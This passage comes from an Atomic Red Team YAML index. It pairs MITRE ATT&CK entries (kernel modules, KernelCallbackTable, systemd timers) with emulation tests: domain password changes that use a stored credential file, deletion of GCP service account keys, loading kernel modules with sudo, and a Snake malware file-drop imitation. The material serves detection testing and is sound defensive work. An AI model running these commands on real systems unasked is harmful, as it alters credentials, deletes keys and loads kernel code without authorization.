          description: The password to set for the current domain user (default is
            long and has and upper case and special character and number but no lowercase)
          type: string
          default: UPPER-LONG-SPECIAL-333
        cred_file:
          description: A file containing the password of the current user
          type: path
          default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt"
      dependencies:
      - description: 'Password for current user must be stored in a credential file

          '
        prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null
          $cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
          $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}"
      executor:
        name: powershell
        command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n    $cred
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n    if($cred.GetNetworkCredential().Password
          -eq \"#{new_password}\"){\n      Write-Host -ForegroundColor Yellow \"The
          new password is the same as the password stored in the credential file.
          Please specify a different new password.\"; exit -1\n    }\n    try {\n
          \       $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText
          -Force\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword
          $cred.password -NewPassword $newPassword\n    }\n    catch { \n        $_.Exception\n
          \       $errCode = $_.Exception.ErrorCode\n        Write-Host \"Error code:
          $errCode\"\n        if ($errCode -eq 86) {\n            Write-Host -ForegroundColor
          Yellow \"The stored password for the current user is incorrect. Please run
          the prereq commands to set the correct credentials\"\n            Remove-Item
          $credFile\n        }\n        exit $errCode\n    }\n    Write-Host -ForegroundColor
          Cyan \"Successfully changed the password to #{new_password}\"\n    $newCred
          = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString
          \"#{new_password}\" -AsPlainText -Force))\n    $newCred.Password | ConvertFrom-SecureString
          | Out-File $credFile\n}\nelse {\n    Write-Host -ForegroundColor Yellow
          \"You must store the password of the current user by running the prerequisite
          commands first\"\n}\n"
    - name: 'Domain Password Policy Check: Only Two Character Classes'
      auto_generated_guid: 784d1349-5a26-4d20-af5e-d6af53bae460
      description: "Attempt to change the password of the current domain user in order
        to check password policy. Ideally, you would only run this atomic test to
        verify that your password policy is blocking the use of the new password.\nIf
        the password is succesfully changed to the new password, the credential file
        will be updated to reflect the new password. You can then run the atomic manually
        and specify a new password of your choosing, however the\npassword policy
        will likely prevent you from setting the password back to what it was. \n"
      supported_platforms:
      - windows
      input_arguments:
        new_password:
          description: The password to set for the current domain user (default has
            only upper and lower case characters)
          type: string
          default: onlyUPandLowChars
        cred_file:
          description: A file containing the password of the current user
          type: path
          default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt"
      dependencies:
      - description: 'Password for current user must be stored in a credential file

          '
        prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null
          $cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
          $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}"
      executor:
        name: powershell
        command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n    $cred
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n    if($cred.GetNetworkCredential().Password
          -eq \"#{new_password}\"){\n      Write-Host -ForegroundColor Yellow \"The
          new password is the same as the password stored in the credential file.
          Please specify a different new password.\"; exit -1\n    }\n    try {\n
          \       $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText
          -Force\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword
          $cred.password -NewPassword $newPassword\n    }\n    catch { \n        $_.Exception\n
          \       $errCode = $_.Exception.ErrorCode\n        Write-Host \"Error code:
          $errCode\"\n        if ($errCode -eq 86) {\n            Write-Host -ForegroundColor
          Yellow \"The stored password for the current user is incorrect. Please run
          the prereq commands to set the correct credentials\"\n            Remove-Item
          $credFile\n        }\n        exit $errCode\n    }\n    Write-Host -ForegroundColor
          Cyan \"Successfully changed the password to #{new_password}\"\n    $newCred
          = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString
          \"#{new_password}\" -AsPlainText -Force))\n    $newCred.Password | ConvertFrom-SecureString
          | Out-File $credFile\n}\nelse {\n    Write-Host -ForegroundColor Yellow
          \"You must store the password of the current user by running the prerequisite
          commands first\"\n}\n"
    - name: 'Domain Password Policy Check: Common Password Use'
      auto_generated_guid: 81959d03-c51f-49a1-bb24-23f1ec885578
      description: "Attempt to change the password of the current domain user in order
        to check password policy. Ideally, you would only run this atomic test to
        verify that your password policy is blocking the use of the new password.\nIf
        the password is succesfully changed to the new password, the credential file
        will be updated to reflect the new password. You can then run the atomic manually
        and specify a new password of your choosing, however the\npassword policy
        will likely prevent you from setting the password back to what it was. \n"
      supported_platforms:
      - windows
      input_arguments:
        new_password:
          description: The password to set for the current domain user (default is
            Season and current year combo)
          type: string
          default: Spring$((Get-Date).Year)!
        cred_file:
          description: A file containing the password of the current user
          type: path
          default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt"
      dependencies:
      - description: 'Password for current user must be stored in a credential file

          '
        prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null
          $cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
          $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}"
      executor:
        name: powershell
        command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n    $cred
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n    if($cred.GetNetworkCredential().Password
          -eq \"#{new_password}\"){\n      Write-Host -ForegroundColor Yellow \"The
          new password is the same as the password stored in the credential file.
          Please specify a different new password.\"; exit -1\n    }\n    try {\n
          \       $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText
          -Force\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword
          $cred.password -NewPassword $newPassword\n    }\n    catch { \n        $_.Exception\n
          \       $errCode = $_.Exception.ErrorCode\n        Write-Host \"Error code:
          $errCode\"\n        if ($errCode -eq 86) {\n            Write-Host -ForegroundColor
          Yellow \"The stored password for the current user is incorrect. Please run
          the prereq commands to set the correct credentials\"\n            Remove-Item
          $credFile\n        }\n        exit $errCode\n    }\n    Write-Host -ForegroundColor
          Cyan \"Successfully changed the password to #{new_password}\"\n    $newCred
          = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString
          \"#{new_password}\" -AsPlainText -Force))\n    $newCred.Password | ConvertFrom-SecureString
          | Out-File $credFile\n}\nelse {\n    Write-Host -ForegroundColor Yellow
          \"You must store the password of the current user by running the prerequisite
          commands first\"\n}\n"
    - name: GCP - Delete Service Account Key
      auto_generated_guid: 7ece1dea-49f1-4d62-bdcc-5801e3292510
      description: "This Atomic will: \n  - Create a service account\n  - Create a
        service account key, \n  - Store the result of retrieving a single key for
        that service account as a variable\n  - Pass that variable for deletion\n
        \ - Delete the service account\n\nThe idea for this Atomic came from a Rule
        published by the Elastic team.\n\nIdentifies the deletion of an Identity and
        Access Management (IAM) service account key in Google Cloud Platform (GCP).\nEach
        service account is associated with two sets of public/private RSA key pairs
        that are used to authenticate. \nIf a key is deleted, the application will
        no longer be able to access Google Cloud resources using that key. A security
        best practice is to rotate your service account keys regularly.\n\nReference:
        https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml\n"
      supported_platforms:
      - iaas:gcp
      input_arguments:
        project_id:
          description: ID of the GCP Project you to execute the command against.
          type: string
          default: atomic-test-1
        service_name:
          description: The name of the service account.
          type: string
          default: atomic-service-account
      executor:
        name: sh
        elevation_required: false
        command: |
          gcloud config set project #{project_id}
          KEY=`gcloud iam service-accounts keys list --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format="value(KEY_ID)" --limit=1`
          gcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet
        cleanup_command: |
          cd "$PathToAtomicsFolder/T1098/src/T1098-17/"
          terraform state rm google_service_account_key.key
          terraform destroy -auto-approve
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires gcloud

          '
        prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "Please Install Google Cloud SDK before running
          this atomic test : https://cloud.google.com/sdk/docs/install"

          '
      - description: "Check if user is logged in \n"
        prereq_command: 'gcloud config get-value account

          '
        get_prereq_command: 'gcloud auth login --no-launch-browser

          '
      - description: 'Check if terraform is installed.

          '
        prereq_command: 'terraform version

          '
        get_prereq_command: 'echo Please install the terraform.

          '
      - description: 'Create dependency resources using terraform

          '
        prereq_command: 'stat "$PathToAtomicsFolder/T1098/src/T1098-17/terraform.tfstate"

          '
        get_prereq_command: |-
          cd "$PathToAtomicsFolder/T1098/src/T1098-17/"
          terraform init
          terraform apply -auto-approve
  T1547.006:
    technique:
      x_mitre_platforms:
      - macOS
      - Linux
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Wayne Silva, F-Secure Countercept
      - Anastasios Pingios
      - Jeremy Galloway
      - Red Canary
      - Eric Kaiser @ideologysec
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6
      created: '2020-01-24T17:42:23.339Z'
      x_mitre_version: '1.3'
      external_references:
      - source_name: mitre-attack
        external_id: T1547.006
        url: https://attack.mitre.org/techniques/T1547/006
      - source_name: Apple Developer Configuration Profile
        url: https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf
        description: Apple. (2019, May 3). Configuration Profile Reference. Retrieved
          September 23, 2021.
      - source_name: Apple Kernel Extension Deprecation
        url: https://developer.apple.com/support/kernel-extensions/
        description: Apple. (n.d.). Deprecated Kernel Extensions and System Extension
          Alternatives. Retrieved November 4, 2020.
      - source_name: System and kernel extensions in macOS
        url: https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web
        description: Apple. (n.d.). System and kernel extensions in macOS. Retrieved
          March 31, 2022.
      - source_name: GitHub Reptile
        url: https://github.com/f0rb1dd3n/Reptile
        description: Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved
          April 9, 2018.
      - source_name: Volatility Phalanx2
        url: https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html
        description: 'Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility
          to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.'
      - source_name: iDefense Rootkit Overview
        url: http://www.megasecurity.org/papers/Rootkits.pdf
        description: Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved
          April 6, 2018.
      - source_name: Linux Loadable Kernel Module Insert and Remove LKMs
        url: http://tldp.org/HOWTO/Module-HOWTO/x197.html
        description: Henderson, B. (2006, September 24). How To Insert And Remove
          LKMs. Retrieved April 9, 2018.
      - source_name: CrowdStrike Linux Rootkit
        url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
        description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit.
          Retrieved December 21, 2017.
      - source_name: GitHub Diamorphine
        url: https://github.com/m0nad/Diamorphine
        description: Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux
          Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.
      - source_name: Securelist Ventir
        url: https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/
        description: 'Mikhail, K. (2014, October 16). The Ventir Trojan: assemble
          your MacOS spy. Retrieved April 6, 2018.'
      - source_name: User Approved Kernel Extension Pike’s
        url: https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/
        description: Pikeralpha. (2017, August 29). User Approved Kernel Extension
          Loading…. Retrieved September 23, 2021.
      - source_name: Linux Kernel Module Programming Guide
        url: http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html
        description: Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs.
          Retrieved April 6, 2018.
      - source_name: Linux Kernel Programming
        url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
        description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
          Module Programming Guide. Retrieved April 6, 2018.
      - source_name: Trend Micro Skidmap
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/
        description: Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux
          Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload.
          Retrieved June 4, 2020.
      - source_name: Purves Kextpocalypse 2
        url: https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/
        description: Richard Purves. (2017, November 9). MDM and the Kextpocalypse
          . Retrieved September 23, 2021.
      - source_name: RSAC 2015 San Francisco Patrick Wardle
        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Wardle, P. (2015, April). Malware Persistence on OS X Yosemite.
          Retrieved April 6, 2018.
      - source_name: Synack Secure Kernel Extension Broken
        url: https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/
        description: Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel
          Extension Loading’ is Broken. Retrieved April 6, 2018.
      - source_name: Wikipedia Loadable Kernel Module
        url: https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux
        description: Wikipedia. (2018, March 17). Loadable kernel module. Retrieved
          April 9, 2018.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming) 

        When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)

        Kernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)

        Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as "Legacy System Extensions" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)

        Adversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Boot or Logon Autostart Execution: Kernel Modules and Extensions'
      x_mitre_detection: |
        Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: <code>modprobe</code>, <code>insmod</code>, <code>lsmod</code>, <code>rmmod</code>, or <code>modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)

        Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code> On RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code>

        On macOS, monitor for execution of <code>kextload</code> commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the <code>kext_policy</code> table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, <code>/var/db/SystemPolicyConfiguration/KextPolicy</code>.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Kernel: Kernel Module Load'
      - 'Process: Process Creation'
      x_mitre_permissions_required:
      - root
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.006
    atomic_tests:
    - name: Linux - Load Kernel Module via insmod
      auto_generated_guid: 687dcb93-9656-4853-9c36-9977315e9d23
      description: 'This test uses the insmod command to load a kernel module for
        Linux.

        '
      supported_platforms:
      - linux
      input_arguments:
        module_name:
          description: Name of the kernel module name.
          type: string
          default: T1547006
        module_path:
          description: Folder used to store the module.
          type: path
          default: "/tmp/T1547.006/T1547006.ko"
        temp_folder:
          description: Temp folder used to compile the code.
          type: path
          default: "/tmp/T1547.006"
        module_source_path:
          description: Path to download Gsecdump binary file
          type: path
          default: PathToAtomicsFolder/T1547.006/src
      dependency_executor_name: bash
      dependencies:
      - description: 'The kernel module must exist on disk at specified location

          '
        prereq_command: 'if [ -f #{module_path} ]; then exit 0; else exit 1; fi;

          '
        get_prereq_command: |
          if [ ! -d #{temp_folder} ]; then mkdir #{temp_folder}; touch #{temp_folder}/safe_to_delete; fi;
          cp #{module_source_path}/* #{temp_folder}/
          cd #{temp_folder}; make
          if [ ! -f #{module_path} ]; then mv #{temp_folder}/#{module_name}.ko #{module_path}; fi;
      executor:
        command: 'sudo insmod #{module_path}

          '
        cleanup_command: |
          sudo rmmod #{module_name}
          [ -f #{temp_folder}/safe_to_delete ] && rm -rf #{temp_folder}
        name: bash
        elevation_required: true
    - name: MacOS - Load Kernel Module via kextload and kmutil
      auto_generated_guid: f4391089-d3a5-4dd1-ab22-0419527f2672
      description: 'This test uses the kextload and kmutil commands to load and unload
        a MacOS kernel module.

        '
      supported_platforms:
      - macos
      input_arguments:
        module_path:
          description: Folder used to store the module.
          type: path
          default: "/Library/Extensions/SoftRAID.kext"
      dependency_executor_name: bash
      dependencies:
      - description: 'The kernel module must exist on disk at specified location

          '
        prereq_command: 'if [ -d #{module_path} ] ; then exit 0; else exit 1 ; fi

          '
        get_prereq_command: 'exit 1

          '
      executor:
        command: |
          set -x
          sudo kextload #{module_path}
          kextstat 2>/dev/null | grep SoftRAID
          sudo kextunload #{module_path}
          sudo kmutil load -p #{module_path}
          kextstat 2>/dev/null | grep SoftRAID
          sudo kmutil unload -p #{module_path}
        name: bash
        elevation_required: true
    - name: MacOS - Load Kernel Module via KextManagerLoadKextWithURL()
      auto_generated_guid: f0007753-beb3-41ea-9948-760785e4c1e5
      description: |
        This test uses the IOKit API to load a kernel module for macOS.
        Harcoded to use SoftRAID kext
      supported_platforms:
      - macos
      input_arguments:
        src_path:
          description: Folder used to store the module.
          type: path
          default: PathToAtomicsFolder/T1547.006/src/macos_kextload.c
        exe_path:
          description: Folder used to store the module.
          type: path
          default: "/tmp/T1547006_iokit_loader"
      dependency_executor_name: bash
      dependencies:
      - description: 'The kernel module must exist on disk at specified location

          '
        prereq_command: 'if [ -f "#{exe_path}" ]; then exit 0 ; else exit 1; fi

          '
        get_prereq_command: 'cc -o #{exe_path} #{src_path} -framework IOKit -framework
          Foundation

          '
      executor:
        command: |
          sudo #{exe_path}
          kextstat 2>/dev/null | grep SoftRAID
          sudo kextunload /Library/Extensions/SoftRAID.kext
        name: bash
        elevation_required: true
        cleanup_command: 'rm -f #{exe_path}

          '
    - name: Snake Malware Kernel Driver Comadmin
      auto_generated_guid: e5cb5564-cc7b-4050-86e8-f2d9eec1941f
      description: "The following Atomic Test will write an file, comadmin.dat, to
        disk. From the report, Snake's installer drops the kernel driver and a custom
        DLL which is used to load the driver into a\nsingle AES encrypted file on
        disk. Typically, this file is named “comadmin.dat” and is stored in the %windows%\\system32\\Com
        directory. \nThis Atomic Test will write a hardcoded named file to disk in
        the com directory named comadmin.dat.\n[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF)
        \ \n"
      supported_platforms:
      - windows
      executor:
        command: '$examplePath = Join-Path $env:windir "system32\Com"; if (-not (Test-Path
          $examplePath)) { New-Item -ItemType Directory -Path $examplePath | Out-Null
          }; $exampleName = "comadmin.dat"; $exampleFullPath = Join-Path $examplePath
          $exampleName; $randomBytes = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes);
          [System.IO.File]::WriteAllBytes($exampleFullPath, $randomBytes)

          '
        cleanup_command: '$examplePath = Join-Path $env:windir "system32\Com"; $exampleName
          = "comadmin.dat"; $exampleFullPath = Join-Path $examplePath $exampleName;
          if (Test-Path $exampleFullPath) { Remove-Item $exampleFullPath -Force }

          '
        name: powershell
        elevation_required: true
  T1574.013:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde
      type: attack-pattern
      created: '2022-02-25T15:27:44.927Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1574.013
        url: https://attack.mitre.org/techniques/T1574/013
      - source_name: Lazarus APT January 2022
        url: https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/
        description: Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus
          APT leverages Windows Update client, GitHub in latest campaign. Retrieved
          January 27, 2022.
      - source_name: 'FinFisher exposed '
        url: https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/
        description: 'Microsoft Defender Security Research Team. (2018, March 1).
          FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex
          virtual machines. Retrieved January 27, 2022.'
      - source_name: Windows Process Injection KernelCallbackTable
        url: https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/
        description: 'odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable
          used by FinFisher / FinSpy. Retrieved February 4, 2022.'
      - source_name: NtQueryInformationProcess
        url: https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess
        description: Microsoft. (2021, November 23). NtQueryInformationProcess function
          (winternl.h). Retrieved February 4, 2022.
      modified: '2022-05-11T14:00:00.188Z'
      name: KernelCallbackTable
      description: |-
        Adversaries may abuse the <code>KernelCallbackTable</code> of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The <code>KernelCallbackTable</code> can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once <code>user32.dll</code> is loaded.(Citation: Windows Process Injection KernelCallbackTable)

        An adversary may hijack the execution flow of a process using the <code>KernelCallbackTable</code> by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.

        A pointer to the memory address of the <code>KernelCallbackTable</code> can be obtained by locating the PEB (ex: via a call to the <code>NtQueryInformationProcess()</code> [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the <code>KernelCallbackTable</code> can be duplicated, and a function in the table (e.g., <code>fnCOPYDATA</code>) set to the address of a malicious payload (ex: via <code>WriteProcessMemory()</code>). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)

        The tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the <code>KernelCallbackTable</code> may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the <code>KernelCallbackTable</code> to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.

        Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>WriteProcessMemory()</code> and <code>NtQueryInformationProcess()</code> with the parameter set to <code>ProcessBasicInformation</code> may be used for this technique.(Citation: Lazarus APT January 2022)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1053.006:
    technique:
      modified: '2023-09-08T11:56:26.862Z'
      name: 'Scheduled Task/Job: Systemd Timers'
      description: |-
        Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)

        Each <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.

        An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - SarathKumar Rajendran, Trimble Inc
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Systemd timer unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>~/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.

        Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: <code>systemctl list-timers –all</code>. Analyze the contents of corresponding <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.

        Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Scheduled Job: Scheduled Job Creation'
      x_mitre_permissions_required:
      - User
      - root
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21
      created: '2020-10-12T17:50:31.584Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
